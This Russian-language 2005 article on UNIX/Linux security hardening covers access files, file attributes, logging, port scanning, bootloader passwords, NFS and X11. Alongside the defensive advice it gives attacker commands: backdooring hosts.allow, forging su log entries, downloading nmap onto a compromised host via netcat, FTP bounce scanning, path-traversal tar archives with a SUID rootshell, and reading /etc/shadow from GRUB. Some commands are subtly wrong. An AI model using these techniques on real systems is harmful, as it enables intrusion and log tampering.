Linux

Проблемы безопасности UNIX-подобных операционных систем

Статья первая

Цикл моих статей статей (2005 год).
Оригинал изначально был размещен на http://adz.void.ru и http://infobez.net.ru. В последствии был перепечатан многими сайтами.
Вы можете скачать весь цикл статей в одном файле (580 кБ) 

Проблемы безопасности UNIX-подобных операционных систем

1. Предназначение файла /etc/hosts – определение соответствия «доменное_имя IP-адрес». Для получения доступа к компьютеру иногда бывает нужным добавить имя подключающегося хоста в файл /etc/hosts.allow.
compromised# echo 'ALL: bad_guy.example.com' >> /etc/hosts.allow
#или
compromised# echo 'sshd: 208.164.186.1 gate.openarch.com' >> /etc/hosts.allow

Эквивалентный способ – изменение файла /etc/hosts.deny. При безопасной конфигурации файл /etc/hosts.deny будет содержать строку «ALL: ALL» – это означает, что все компьютеры, не указанные в файле hosts.allow, не смогут установить соединение с данным хостом. Удалив эту строку,
compromised# cat /dev/null > /etc/hosts.deny
Будет то же результат, только доступ будет открыт для всех желающих.
После правки лучше сделать chattr +i
и проверку на синтаксис (программа tcpdchk).

2. В файле /etc/apt/sources.list – список серверов для обновления системы через сеть. Символ # (после него обычно пишут комментарии) «закрывает» соответствующий сервер. После правки лучше сделать chattr +i
.

3. Файл /etc/profile содержит строчку
umask 022
которую лучше сменить на
umask 077
Это повысит безопасность — создаваемые файлы по умолчанию сможете прочитать только Вы (и администратор, естественно). После правки лучше сделать
chattr +i
В файле /etc/login.defs тоже есть параметр umask. Обычно он «закомментирован».
#
# The umask to use when creating user home directories. The default
# is 077.
#
#UMASK 077

4. Полезные атрибуты файла:
A — отключает создание метки atime для записи времени последнего доступа к файлу, что позволяет сократить количество операций обращения к носителю. Не поддерживается многими версиями ядра (до версии 2.0). В некоторых случаях лучше смонтировать файловую систему с параметром noatime.
a — Только дозапись данных. Устанавливается суперпользователем.
d — Такой файл будет пропущен при создании backup’а системы.
i — Файл нельзя переименовывать, создавать на него ссылки, модифицировать.
s — При удалении файла занимаемое им место заполняется нулями.
S — При модификации файла все изменения синхронно фиксируются на НМЖД.

Использование команды:
#Чтение атрибутов:
user$ lsattr my_file.txt
-------- my_file.txt
#Установка атрибутов:
user$ chattr +c my_file.txt
user$ chattr +s my_file.txt
user$ chattr +d my_file.txt
#Чтение атрибутов:
user$ lsattr my_file.txt
s-c---d- my_file.txt
#Снятие атрибутов:
user$ chattr -d my_file.txt
s-c----- my_file.txt

Используйте команду chattr +i для запрещения изменения всех файлов программ в каталогах /bin, /usr/bin, /sbin, /usr/sbin, /lib и т.п. Эти файлы обычно обновляются редко и желательно знать обо всех случаях, когда это необходимо.
Установим опцию noatime для файловой системы /mnt/linux_games. Отредактируем файл /etc/fstab и добавим, например, такую строку:
/dev/hda7 /mnt/linux_games ext2 defaults,noatime 1 2
Перезагрузка.
cat /proc/mounts
В результате одной из строк, выводимых на экране, должна быть
/dev/hda7 /mnt/linux_games ext2 rw,noatime 0 0
Мы видим, что /mnt/linux_games имеет атрибут noatime.

5. В файле /etc/securetty задается список терминалов, которым разрешено подключаться к системе с правами root.
Примерный вид:
[root@localhost vi]# cat /etc/securetty
vc/1
vc/2
vc/7
vc/8
vc/9
vc/10
tty1
tty2
tty11

Лучше оставить только tty1 -локальный (остальные удалить).
[root@localhost vi]# echo tty1 /etc/securetty
6. Создание замкнутого пространства для программ. Командой chroot можно определить каталог для определенной программы, «выше» которого она обращаться не сможет. Например, замкнутый каталог /usr/local/castro. Если программа обращается к /bin/ls, вызывается не стандартная программа ls, а программа, расположенная (она должна там быть, а иначе зачем вызывать, чего нет) в /usr/local/castro/bin/ls
Запуск программ в замкнутой среде chroot.
root# chroot /usr/local/castro /bin/ls
Здесь в пространстве /usr/local/castro запущена программа /bin/ls. Учтите, что для ее нормальной работы нужны еще несколько файлов. Их можно узнать, использовав команду
ldd /bin/ls
libc.so.6 => /lib/i686/libc.so.6 (0x40033000)

Это означает, что в замкнутой среде нужно создать путь /lib/i686/libc.so.6

7. Еще одним (простым) методом повышения безопасности является поиск всех программ с установленными битами идентификатора пользователя (SUID) и идентификатора группы (SGID). Вывести список всех таких файлов можно следующей командой.
[root@localhost vi]# find / ( -perm -02000 -o -perm -04000 ) -ls
370215 4 drwxr-sr-x 8 root rpm 4096 Апр 10 22:39 /usr/lib/rpm
180981 4 -rwx--s--x 1 root netwatch 3984 Июл 5 2004 /sbin/netreport
49329 76 -rws--x--x 1 root root 72744 Июн 25 2004 /bin/mount
49330 36 -rws--x--x 1 root root 33160 Июн 25 2004 /bin/umount
49658 36 -rws--x--x 1 root root 32812 Авг 27 2003 /bin/ping
49663 20 -rws--x--x 1 root root 19400 Фев 9 2004 /bin/su

Также можно воспользоваться программой sXid, обладающей большими возможностями (ftp://marcus.seva.net/pub/sxid/).
Из всех программ (приводимый листинг очень сокращен), следует оставить su и sudo, чтобы сохранить себе возможность получить права администратора. После всех действий пользователь не сможет, например, сменить свой пароль, не прибегнув к помощи администратора.

8. Сканирование портов может обнаружить программа scanlogd (http://www.openwall.com/scanlogd/). Сканирование регистрируется утилитой syslog. Сообщения syslog имеют формат:
адрес_отправителя to адрес_получателя ports порт, порт, ..., TCP_флаги @время
9. Общую безопасность системы можно повысить, используя пакет Bastille (http://bastille-linux.sourceforge.net). Он доступен в .rpm-пакете. Лучше брать последние версии. После инсталляции достаточно запустить программу InteractiveBastille. После настройки будет создан файл BackEnd.pl, служащий для автоматической настройки на других подобных машинах. Для этого достаточно запустить файл AutomatedBastille.pl

10. Обычно, в каталоге /var/log хранятся лог-файлы различных программ. Также обычно, что просмотреть их может только администратор. Однако лучше создать отдельную группу и определить пользователя в ней, которого наделить правами чтения лог-файлов. Это, как ни противоречиво может показаться, повышает безопасность системы. Ведь программы, анализирующие лог-файлы, могут содержать ошибки, да и просто запускать другие программы с правами root. Утилита syslog — стандартное средство регистрации событий. Регистрация информации осуществляется на основе категорий (например, cron, daemon, mail) и их приоритета (например, warning и debug).

Категории и описание

auth — Сообщения о нарушении безопасности и авторизации доступа
authpriv — Сообщение об использовании привилегированного доступа
cron — Сообщения демонов cron и at
daemon — Сообщения, генерируемые другими выполняющимися демонами (sshd, inetd, pppd и т.д.)
kern — Сообщения ядра
lpr — Сообщения подсистемы печати
mail — Сообщения почтовых программ
news — Сообщения системы новостей
syslog — Сообщения, создаваемые syslog
user — Сообщения, генерируемые пользовательскими программами
uucp — Сообщения UUCP
local0-local7 — Определяются для конкретной системы

Приоритеты и описание сообщения

emerg — Система непригодна для дальнейшей работы
alert — Состояние системы требует немедленного вмешательства
crit — Состояние представляет непосредственную угрозу системе
err — Сообщения об ошибках
warning — Предупреждающие сообщения
notice — Допустимое, но требующее внимания администратора состояние системы
info — Информационное состояние системы
debug — Отладочные сообщения

В файле /etc/syslog.conf определяются сообщения, регистрируемые демоном syslog в формате
категория.приоритет <адрес_сохран._рег._сообщен.>
Также имеется демон syslog-ng. Конфигурационный файл g-ng.conf позволяет более гибкое задание условий.

11. Воспрепятствовать изменению лог-файлов, если взломщик получил доступ к учетной записи root, можно, если используется по крайней мере файловая система ext2 или ext3 (с другими неясно) дать команду:
root# chattr +a /var/log/messages
root# cat /dev/null > /var/log/messages
cannot craete /var/log/messages: Operation not permitted
root# rm /var/log/messages
cannot ulink '/var/log/messages': Operation not permitted

То есть, используя параметр +a команды chattr файл messages переводится в режим только добавления данных. Естественно, это можно снять командой chattr -a
(если, конечно Вы не переделаете «под себя» утилиту chattr).

12. С помощью утилиты logger пользователь может записать в системный журнал, например, такое сообщение:
bad_guy$ logger -p kern.alert "authentication failure; logname=nester uid=509 euid=0 tty= rhost= user=root"
То есть пользователь bad_guy записал в системный журнал, что пользователь nester пытался войти в систему под системным аккаунтом администратора, хотя этого не было.

В журнале будет записано:
Aug 10 07:58:01 smarmy jdoe: authentication failure; logname=nester uid=509 euid=0 tty= rhost= user=root
Если вызвать logger с параметром -t, запись будет выглядеть идентично настоящей попытке использования команды su:
bad_guy$ logger -p kern.alert -t 'su(pam_unix)' "authentication failure; logname=nester uid=509 euid=0 tty= rhost= user=root"
Естественно, запись в журнал можно занести и другой программой.

13. Программа logrotate. С достижением определенного размера файла журнала (logfile), он заменяется (переименовывается) другим файлом (logfile.1), который, в свою очередь, заменяет logfile.2, а тот logfile.4.И, наконец, предыдущая версия файла logfile.4 (не бесконечное же их количество) затирается (уничтожается) файлом logfile.4. Используя тот же logger, можно перезаписать журнал системы, стерев попытки взлома.
Для противодействия можно открыть файл /etc/logrotate.conf и поправить максимальный размер, число ротации и другие параметры. Лучше отключить автоматическую очистку демоном cron. Также можно записывать журналы на WORM-носители (поддерживают однократную запись).

14. Если чтение файлов журнала осуществляется утилитами (пейджерами) типа more, tail или cat, то лучше от них отказаться. К HTTP-запросу может быть добавлен символ возврата каретки (r).
GET / HTTP/1.0 rrn
При просмотре журнала запись может отобразиться так.
“ 200 1456- - [18/Nov/2004:19:07:50 -0500] “GET / HTTP/1.0
Запрос может содержать и подложный IP-адрес.
GET / HTTP/1.0 r192.168.1.10 - - [18/Nov/2004:19:07:50 -0500] “GET / HTTP/1.0rn
При просмотре журнала отобразится следующее.
192.168.1.10 - - [18/Nov/2004:19:07:50 -0500] "GET / HTTP/1.0" 200 496
Применение утилиты типа vi, позволяет видеть символ перевода каретки и, соответственно, IP-адрес.
210.266.2.4 - - [18/Nov/2004:19:07:50 -0500] "GET / HTTP/1.0 ^M" 200 1456
15. При установленной дате компрометации компьютера можно проследить время модификации всех файлов и найти те, которые были изменены после взлома:
[root@localhost Desktop]# touch -t 200509170000.00 /tmp/comprasion
[root@localhost Desktop]# find / ( -newer /tmp/comprasion -o -cnewer /tmp/comprasion ) -ls
find: /mnt/cdrom: No medium found
find: /proc/3071/fd: No such file or directory
find: /proc/3086/fd/4: No such file or directory
find: /proc/3086/fd/4: No such file or directory

200509170000.00 — год-месяц-число-часы-минуты-секунды.
Однако, это проверка обычно бесполезна. Можно проводить проверку на целостность файлов программами Tripwire (http://sourceforge.net/projects/tripwire и http://tripwire.org), AIDE (http://www.cs.tut.fi/~rammer/aide.html), Nabou (http://www.nabou.org/), Samhain — можно сохранять отчеты в БД MySQL или PostgreSQL (http://la-samhna.de/samhain/)

Или же используя System V алгоритм:
[vi@localhost vi]$ sum -s jtr.txt
35863 12 jtr.txt

Используя BSD-алгоритм:
[vi@localhost vi]$ sum -r jtr.txt
58086 6

Используя md5-алгоритм:
[vi@localhost vi]$ md5sum jtr.txt
d0267bb7c6d0edc7499446e11c1fb2ca jtr.txt

Используя цифровую подпись PGP. Для ее проверки следует получить открытый ключ отправителя.
[vi@localhost vi]$ pgp sourcecode.tgz.asc
Good signature from user "Reegen ".
Signature made 2000/04/19 04:43 PDT

Или при использовании программы Gnu Privacy Guard.
vi]$ gpg --verify sourcecode.tgz.asc
gpg: Signature made Wed 19 Apr 2000 04:43:00 AM PDT
using RSA key ID 8147E1VA
gpg: Good signature from "Reegen "

Для защиты RPM-пакетов тоже используют цифровые подписи PGP. Если открытый PGP-ключ уже импортирован, то для проверки подписи необходимо выполнить команду.
[vi@localhost vi]$ --checksig program.rpm
program.rpm md5 GPG OK

Только учтите, что все их можно подделать, а md5 скомпрометирован!

16. С помощью ping, fping, echo (7 порт) можно проводить зондирование сети, то есть узнавать подключенные к сети компьютеры и версию операционной системы (если нет попыток ее скрыть). Так что желательно установить фильтр на прием входящих ECHO REQUESTS и отправки исходящих ECHO REPLY пакетов. Разрешать ping правильным будет только для компьютеров локальной сети. Также отключить службу echo. Для этого в файле /etc/inetd.conf следует закомментировать (добавив символ # в начало строки) следующие строки:
echo stream tcp nowait root internal
echo dgram udp wait root internal

Если запущен демон xinetd, то удалите файл /etc/xinetd.d/echo или установите значение параметра disable = yes в разделе описания службы:
service echo
{
Disable = yes
Type =INTERNAL
socket_type =stream
...

17. Самый легкий способ сканирования машины (с установлением полного соединения):
[r00t@localhost vi]$ netcat -v -w 4 -z 127.0.0.1 1-6
Connection to 127.0.0.1 1 port [tcp/tcpmux] failed : Connection refused
Connection to 127.0.0.1 2 port [tcp/*] failed : Connection refused
Connection to 127.0.0.1 3 port [tcp/*] failed : Connection refused
Connection to 127.0.0.1 4 port [tcp/*] failed : Connection refused
Connection to 127.0.0.1 5 port [tcp/rje] failed : Connection refused
Connection to 127.0.0.1 6 port [tcp/*] failed : Connection refused

-v Вывод подробного отчета
-w 4 Интервал ожидания для соединения (ожидать 4 секунды)
-z Не отправлять данные на открытый порт (используется только для сканирования; никаких данных не должно быть передано, соединение обрывается сразу после его установления).
127.0.0.1 Сканируемый хост
1-6 Номера сканируемых портов (могут быть в диапазоне 1-65535)
-v -v Вывод очень подробного отчета
-u UDP-сканирование

Так же можно осуществить UDP-сканирование. Для этого следует добавить параметр -u:
[r00t@localhost vi]$ netcat -v -v -w 4 -u -z 127.0.0.1 1 9 13 18 19 21 37 50 53 67-70
UDP-сканирование проходит медленнее.
Вообще говоря, данная утилита для сканирования не предназначена. Для сканирования лучше использовать утилиту strobe, разработанная Джулианом Ассанжем (Julian Assange). Она позволяет проводить параллельное сканирование портов, выводить версию (баннер) демона, для которого осуществлена привязка к конкретному порту да и работает быстрее ISS2.1.

Очень популярным средством сканирования является nmap.

Методы сканирования

-sT — Сканирование с подключением. Доступно без привилегий суперпользователя.
-sS — SYN сканирование без соединения уже требует прав администратора.
-sF — FIN-сканирование. Согласно RFC 793, если порт закрыт, в ответ отправляется пакет RST. Отсутствие пакета означает, что порт открыт. Это не относится к системам Windows.
-sX — Почти FIN-сканирование, только используется пакет с флагами FIN, URG, PUSH
-sN — Нуль-сканирование. То же, что и предыдущие два типа сканирования, но в отправляющимся пакете не установлено никаких флагов.
-sU — UDP-сканирование. На каждый порт отправляется пустой UDP-пакет. Если в ответ поступает сообщение, что порт ICMP недоступен. Это означает, что порт закрыт. Из-за того, что некоторые ОС следуют рекомендациям RFC 1812, ограничивающим скорость передачи сообщений об ошибках, то процесс UDP-сканирования может быть долгим.
-sO — Сканирование IP-протоколов. Используется для определения IP-протоколов, поддерживаемых исследуемым хостом. Исследуемому хосту отправляются IP-пакеты без заголовка для каждого протокола. Если будет получено сообщение Protocol Unreachable, то данный протокол не используется хостом.
-sA — Сканирование ACK-пакетами. Позволяет получить набор правил, используемых брандмауэром. На сканируемый порт хоста отправляется ACK-пакет. Если в ответ поступает RST-пакет, то порт классифицируется как нефильтруемый (unfiltered) брандмауэром. В любом другом случае порт считается фильтруемым (filtered).
-sW — Сканирование размеров окна (Window size). Метод похож на предыдущий, за исключением того, что, в зависимости от полученного размера окна протокола TCP для некоторых, кроме фильтруемых или нефильтруемых портов, он позволяет определить открытые порты. Операционная система Linux неуязвима для такого сканирования, но это не всегда справедливо для брандмауэров.
-sR — Сканирование портов служб RPC. Выявляет порты служб RPC и связанные с ними программ и их версий.
-O — Определение операционной системы, использующийся на сканируемом хосте.
Параметры конфигурации
-P0 — Сканирование выполняется без определения того, подключен ли данный компьютер к сети. Этот параметр позволяет выполнить сканирование, когда известно, что компьютер точно работает и/или ответные ICMP-пакеты заблокированы с помощью брандмауэра.
-I — Выполнение сканирования для идентификации запущенных процессов. После установления соединения с портом 113 (в данном случае должна быть произведена полная процедура установки TCP-соединения) nmap опрашивает демон identd сканируемого хоста параллельно с каждым открытым портом. Часто это позволяет по идентификатору владельца определить имя владельца (в том числе и root) процесса, связанного с данным портом.
-f — Режим фрагментации пакетов. TCP-пакеты разбиваются на несколько небольших фрагментов, которые должны быть дефрагментированы на сканируемом хосте. Многие фильтры пакетов и брандмауэры не выполняют дефрагментацию пакетов, и пакеты беспрепятственно передаются дальше во внутреннюю сеть к исследуемому компьютеру.
-v — Режим вывода подробного отчета.
-vv — Режим вывода очень подробного отчета. Можно увидеть содержимое nmap-пакетов.
-D — Сканирование с указанием нескольких ложных адресов хостов. Позволяет создать список, в котором будут перечислены, кроме истинного компьютера, имена (или IP-адреса) фиктивных хостов. При этом на стороне сканируемого хоста создается видимость, что выполняется одновременное сканирование с различных машин, что значительно затруднит определение реального источника сканирования. При назначении фиктивных хостов нужно соблюдать некоторую осторожность, так как определенные брандмауэры могут навсегда заблокировать доступ хосту, предпринявшему попытку сканирования.
-T — Режим сканирования с контролем по времени. Так как многие детекторы сканирования устанавливают ограничения на количество пакетов, полученных за определенный интервал времени, то их можно обмануть с помощью более медленной скорости сканирования. Режим сканирования с контролем по времени задается в качестве аргумента в диапазоне от Paranoid (один пакет в 5 секунд) до Insane (каждые 0.3 секунды). В последнем случае информация может быть утеряна из-за высокой скорости сканирования.
-o? — Сохранение выводимых данных в нескольких форматах, включая XML. Например, параметр -oS — недокументированный формат для начинающих взломщиков.

Вот пример отчета (консоль):
[root@localhost vi]# nmap -v -sS -O 127.0.0.1

Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2005-04-16 22:45 MSD
Host localhost.localdomain (127.0.0.1) appears to be up … good.
Initiating SYN Stealth Scan against localhost.localdomain (127.0.0.1) at 22:45
Adding open port 111/tcp
The SYN Stealth Scan took 0 seconds to scan 1660 ports.
For OSScan assuming that port 111 is open and port 1 is closed and neither are firewalled
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1659 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
111/tcp open rpcbind
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux 2.4.0 — 2.5.20 w/o tcp_timestamps
TCP Sequence Prediction: Class=random positive increments
Difficulty=3071665 (Good luck!)
IPID Sequence Generation: All zeros

Nmap run completed — 1 IP address (1 host up) scanned in 5.886 seconds
SYN-сканирование блокируется автоматически практически всеми брандмауэрами. FIN и другие — Snort’ом.
В утилите nmap предусмотрен режим сканирования, использующий возможности команды PORT FTP-сервера. Наличие команды PORT еще не может быть достаточным условием для установления соединения, т.е. надо запросить какие-то данные. С этой целью nmap использует команду LIST. Для выполнения сканирования в режиме атаки по FTP при запуске nmap нужно указать параметр -b в следующей форме.
user$ nmap -b name_user:password@ftp-server:port
Очевидно, что нужно указать параметр пропуска процедуры ping-тестирования. Учтите, что некоторые брандмауэры отвечают на команды PORT и PASV только при поступлении запросов от компьютеров защищаемой сети.
Пример сканирования.
bad_guy# nmap -P0 -b name_user:password@ftp-server:21
-p 5400,5500,5800,5900,6000 target.example.com

Starting nmap V. 2.3BETA14 by fyodor@insecure.org (www.insecure.org/nmap/ )
Interesting ports on target.example.com (172.16.217.202):
Port State Protocol Service
5400 open tcp unknown
5800 open tcp vnc
5900 open tcp vnc

Nmap run completed — 1 IP address (1 host up) scanned in 12 seconds
Многие FTP-серверы устанавливают свои исходящие соединения через порт 20 (ftp-data). Если заблокировать на сервере соединения порта 20, то можно сказать, что машина защищена от сканирования с помощью атаки по FTP. Конечно, таким образом можно заблокировать и обычный обмен данными с доверенными хостами.
iptables -A INPUT -I eth0 -p tcp -d $ME -s 0/0 --dport 20 -j DROP
Однако не все FTP-серверы используют порт 20, поэтому такое решение нельзя назвать надежным.
Из всех средств сканирования (nessus, Satan [SAINT], NSAT) следует выделить Remote Access Session (http://www.salix.org/raccess/). Данная программа при проверке уязвимых мест применяет программы атаки. Результатом сканирования и обнаружения уязвимости является предоставление доступа к компьютеру.
root# raccess -o 10.10.164.74
С помощью программы netcat можно загрузить двоичный файл nmap со своего локального хоста.
bad_guy_comp# nc -p 8889 -l < /usr/bin/nmap compromised$ nc -p 8080 -w 2 (ip_bad_guy) 8889 > /tmp/nmap </dev/null
compromised$ nmap -sS localhost

18. Отключив демон identd, злоумышленнику будет сложнее узнать о процессах, однако это может привести к замедлению отправки исходящих сообщений для служб, использующих запросы identd. Например, sendmail ожидает ответа identd с 30-ти секундным лимитом по времени, что приводит к паузе перед отправкой сообщений.

19. Если хост поддерживает работу с протоколом SNMP, то, подобрав строку доступа (community string), нарушитель получает доступ к подробно информации о компьютере.

20. Меры противодействия предоставлению идентификационных маркеров.
В файле /etc/issue содержится информация, отображаемая при удаленном вызова компьютера с помощью telnet. Из файла нужно удалить всю информацию о конкретном хосте, а еще лучше подменить ее ложной информацией. Этот файл обновляется при каждой загрузке системы, поэтому нужно отключить такую функцию или же выполнить команду
chattr +i /etc/issue
До того, как это будет сделано, следует полностью отключить программу telnet и установить вместо нее OpenSSH.

Следует изменить значение параметра SmtpGreetingMessage в файле /etc/sendmail.cfc
O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
на какое-нибудь фиктивное значение, например:
O SmtpGreetingMessage=$j SuperMail 4.19.00; $b
etc…

А тип и версию ОС можно узнать как nmap, так и xprobe
[root@localhost vi]# xprobe -v some_machine.org
Скачать программу можно по адресу http://www.sys-security.com/html/projects/X.html или http://xprobe.sourceforge.net .
Для защиты от действий утилиты xprobe будет достаточно заблокировать отправку ответных ICMP-сообщений при получении UDP-ракетов на закрытый порт. Однако, это может привести к блокированию работы других служб.

С помощью программы siphon http://subterrain.net
comp# ./siphon -v -i eth0 -o fingerprints.out
А также p0f http://www.streams.org/p0f<
root# p0f -i eth0 -v
Или же утилиты ping.

Можно проводить пассивное исследование стека.
В каталоге /proc/sys/net/ipv4 хранятся конфигурационные файлы с параметрами Default TTL, TOS и другими. Сменив их, можно запутать подобные программы, только при больших различиях значений это может привести к снижению производительности сети или даже к несовместимости.
root# cd /proc/sys/net/ipv4
root# cat ip_default_ttl
64
root# echo 35 > ip_default_ttl
root# cat ip_default_ttl
35

Средства наподобие IPLog (программа-регистратор пакетов), доступные на сайте http://ojnk.sourceforge.net, позволяют отправлять ответные пакеты, которые предназначены для дезинформации утилиты nmap, что приводит к ошибочному определению ОС. Чтобы обмануть все известные программы активного исследования стека, можно установить программу IPPersonality http://ippersonality.sourceforge.net) только для версии ядра 2.4. Она взаимодействует с утилитами netfilter и iptables, позволяя имитировать любую операционную систему.

21. Программа tar несет в себе некоторую опасность. Используя HEX-редактор, можно как переименовывать файлы, так и менять пути их извлечения. Например.
root# cd /var/tmp
root# mkdir unpack
root# tar tvzf arch.tgz
-rw------- root/bin 4574 2004-10-15 18:18:18 /etc/nologin
-rwxr-xr-x root/bin 434564 2004-10-15 18:18:18 ../../../../../bin/grep
-rw------- root/bin 26548 2004-10-15 18:18:18 /../../../../../bin/ls
-rw------- root/bin 11 2004-10-15 18:18:18 passwd -> /etc/passwd
-rw------- root/bin 4102 2004-10-15 18:18:18 passwd
-rwsr-xr-x root/bin 41478 2004-10-15 18:18:18 rootshell

1 — В имени файла стоит косая черта /etc/nologin и он будет распакован в каталог /etc вместо каталога /var/tmp/unpack.
2 — Имени файла grep предшествуют многочисленные ссылки на родительский каталог в расчете на установление в каталог /bin.
3 — Тот же метод для файла ls.
4 — Файл passwd, являющийся символьной ссылкой.
5 — Файл passwd, чтобы с помощью символьной ссылки заменить файл /etc/passwd.
6 — файл rootshell, для которого установлен бит SUID с правами root.

22. Защита паролем загрузки ОС. В файле /etc/lilo.conf содержится информация о способе загрузки ОС. Можно добавить строчку password=пароль, и для загрузки системы будет необходимо вводить пароль. Параметр restricted используется не для всех образов.
timeout=50
image=/boot/vmlinuz-up
#Добавляем
##########
password=пароль
restricted
###########
label=linux-up
...

Также можно указать глобальный пароль для загрузки.
boot=/dev/hda
map=/boot/map
install=/boot/boot-bmp.b
vga=0x0317
default=linux-up
message=/boot/splash/message
prompt
timeout=50

password=глобальный_пароль
restricted

image=/boot/vmlinuz-up

Как видно, эти пароли хранятся в незашифрованном виде и лучше сделать чтение файла доступным только суперпользователю.
root# chown root:root /etc/lilo.conf
root# chmod 600 /etc/lilo.conf

Загрузчик GRUB является более функциональным, но он предоставляет полнофункциональный командный интерфейс, наподобие командного интерпретатора. Для доступа к последнему достаточно нажать клавишу . Появится приглашение на ввод команд.
grub>
grub> cat /etc/passwd
grub> cat /etc/shadow

Конфигурационный файл загрузчика GRUB /etc/grub.conf лучше защитить от чтения как и lilo.conf
root# chown root:root /etc/grub.conf
root# chmod 600 /etc/grub.conf

Также можно устанавливать пароли на загрузку, а еще можно шифровать их.
Сначала зашифруем:
grub> md5crypt
Password: *******
Encrypted: $yr88huh&&yHY&7yHBHyy&&H7

Полученную строку можно скопировать в файл /etc/grub.conf
default=0
timeout=10
password --md5 $yr88huh&&yHY&7yHBHyy&&H7
splashimage=(hd0,0)/grub/splash.xpm.gz
title Red Had Linux (2.4.18-3)
root (hd0,0)
kernel /vmlinuz-2.4.18-3 ro root=/dev/hda6
initrd /initrd-2.4.18-3/img

Команда passwords может использоваться и для сокрытия раздела жесткого диска.
title Boot DOS
passwords --md5 $yr88huh&&yHY&7yHBHyy&&H7
root (hd0,1)
.
.

Ввод пароля потребуется, если пользователь захочет выполнить загрузку из раздела Boot DOS. Если не писать параметр —md5, то $yr88huh&&yHY&7yHBHyy&&H7 будет паролем, а не его хешем.

23. Отключение перезагрузки по <Ctrl+Alt+Del>. Реакция на нажатие данных клавиш задана в файле /etc/inittab
# What to do when CTRL-ALT-DEL is pressed.
ca:012345:ctrlaltdel:/sbin/shutdown -t3 -r now

Для отключения этой функции следует закомментировать следующие строки
# What to do when CTRL-ALT-DEL is pressed.
# ca:012345:ctrlaltdel:/sbin/shutdown -t3 -r now

24. Служба NFS используется для монтирования файловых систем с удаленных компьютеров в локальные каталоги. Если параметры экспортирования выбраны неправильно, то компьютер будет открыт для атак с любой внешней машины.
Для хранения перечня экспортируемых файловых систем первоначально использовался файл /etc/exports. Формат этого файла:
<каталог> <параметры> [<дополнительные параметры>]
Параметры позволяют задать список компьютеров, которым разрешено монтирование файловой системы. Наихудший вариант конфигурации файла ts
выгладит так:
/ rw
Чтобы изменения вступили в дейтсвие вам необходимо выполнить команду /usr/sbin/exportfs va
То есть корневая файловая система экспортируется всем компьютерам и сетям с правами чтения-записи. Выполнив команду mount на удаленном компьютере, любой пользователь может просматривать и редактировать любо файл.
root# mount <хост>:<файловая система> <локальный каталог>
Чтобы защитить собственные файловые системы от доступа извне, следует заблокировать обращение извне к порту 2049. Лучше вообще службу NFS не запускать. Отключить ее можно с помощью редактирования файла.

25. Если на экран монитора выводится окно для ввода аутентификационных данных пользователя для входа в систему, значит, на этом компьютере запущен сервер Xdm. Для запрета серверу Xdm возможности предоставления доступа внешним пользователям следует отредактировать файл /etc/X11/xdm/xdm-config, добавив в него следующую строчку.
DisplayManager.requestPort: 0
Затем нужно закомментировать все строки, добавив символ # в начало каждой строки. Это полностью запретит подключение к Xdm серверу по сети.

26. X-window система может оказывать значительное влияние на безопасность системы. Можно осуществить просмотр вводимых символов с помощью программы Xkey (http:/packetstormsecurity.org), создание, уничтожение окон, создание снимков экрана с помощью утилиты xwd (часть самой системы X-Window). Поиск в сети серверов X-Window осуществим с помощью программы Xscan (http:/packetstormsecurity.org).
Безопаснее всего запретить серверу X-Window прослушивать порт, использующийся для доступа по сети удаленных клиентов.
$ startx -- -nolisten tcp
Также можно использовать собственную программу для запуска сервера X-Window.
#!/bin/sh
# $Id: xserverrc,v 1.1 2003/10/14 11:47:21 ldv Exp $
#Пути могут быть различны для разных версий ОС!
usr_X11R6_bin_X=/usr/X11R6/bin/X
exec "$usr_X11R6_bin_X" -nolisten tcp "$@"

И сохраните его под именем /etc/X11/xinit/xserverrc либо для текущего пользователя ~/.xserverrc. Далее необходимо ограничить права доступа к этому файлу с помощью команды chmod 755
.

При запуске системы X-Window с помощью сервера Xdm следует добавить параметр -nolisten tcp ко всем строкам в файле /etc/X11/xdm/Xservers
# $Id: Xservers,v 1.4 2003/10/14 11:49:07 ldv Exp $
# $XConsortium: Xserv.ws.cpp,v 1.3 93/09/28 14:30:30 gildea Exp $
# $XFree86: xc/programs/xdm/config/Xserv.ws.cpp,v 1.1.1.1.12.21998/10/04 15:23:14 hohndel Exp $
#
# Xservers file, workstation prototype
#
# This file should contain an entry to start the server on the
# local display; if you have more than one display (not screen),
# you can add entries to the list (one per line). If you also
# have some X terminals connected which do not support XDMCP,
# you can add them here as well. Each X terminal line should
# look like:
# XTerminalName:0 foreign
#
:0 local /etc/X11/xinit/xserverrc -nolisten tcp
# В некоторых системах путь /usr/X11R6/bin/X

Также можно провести атаку на X-сервер по SSH. Все что необходимо знать для аутентификации, это значение cookie, хранящееся в файле .Xauthority. Любой пользователь, имеющий права на чтение этого файла, сможет организовать обратный зашифрованный SSH-сеанс связи с вашим X-сервером.
Можно поменять права доступа.
user@comp$ chmod 600 ~/.Xauthority
Естественно, это не остановит пользователя с правами root.
root@comp# export DISPLAY=localhost:10.0
root@comp# export XAUTHORITY=/home/brandt/.Xauthority
root@comp# xclock

27. Пароли по умолчанию для сетевых устройств содержаться в файле defaultpassword.txt на сервере http://packetstormsecurity.com.

28. Популярные анализаторы пакетов.
TCPdump — http://www.tcpdump.org
hunt — http://www.cri.cz
Sniffit — http://rpmfind.net
Karpski — http://mojo.calyx.net
Gnusniff — http://packetstormsecurity.com
Dsniff — http://monkey.org
EtherApe — http://etherape.sourceforge.net
Ettercap — http://ettercap.sourceforge.net
Linux-sniff — http://packetstormsecurity.nl

29. Маршрутизация от источника (source routing) позволяет отправителю определить путь, по которому пакет должен пройти по сети Internet, чтобы достигнуть пункта назначения. Это очень удобно для изучения и отладки работы сети, но нарушитель получает возможность подмены адресов компьютеров локальной сети. Чтобы проверить, включена ли маршрутизация, достаточно выполнить команду.
[root@localhost /]# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route
1

Ответ 0 означает, что маршрутизация отключена, 1 — наоборот.
Выключим маршрутизацию.
[root@localhost /]# echo 0 > /proc/sys/net/ipv4/conf/eth0/accept_source_route
[root@localhost /]# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route
0

Затем следует проверить установку этого значения при загрузке, добавив следующую строку в файл /etc/sysctl.conf.
net.ipv4.conf.all.accept_source_route = 0
Теперь пример.
root# ifconfig eth0:0 inet 192.168.3.5 netmask 255.255.255.255
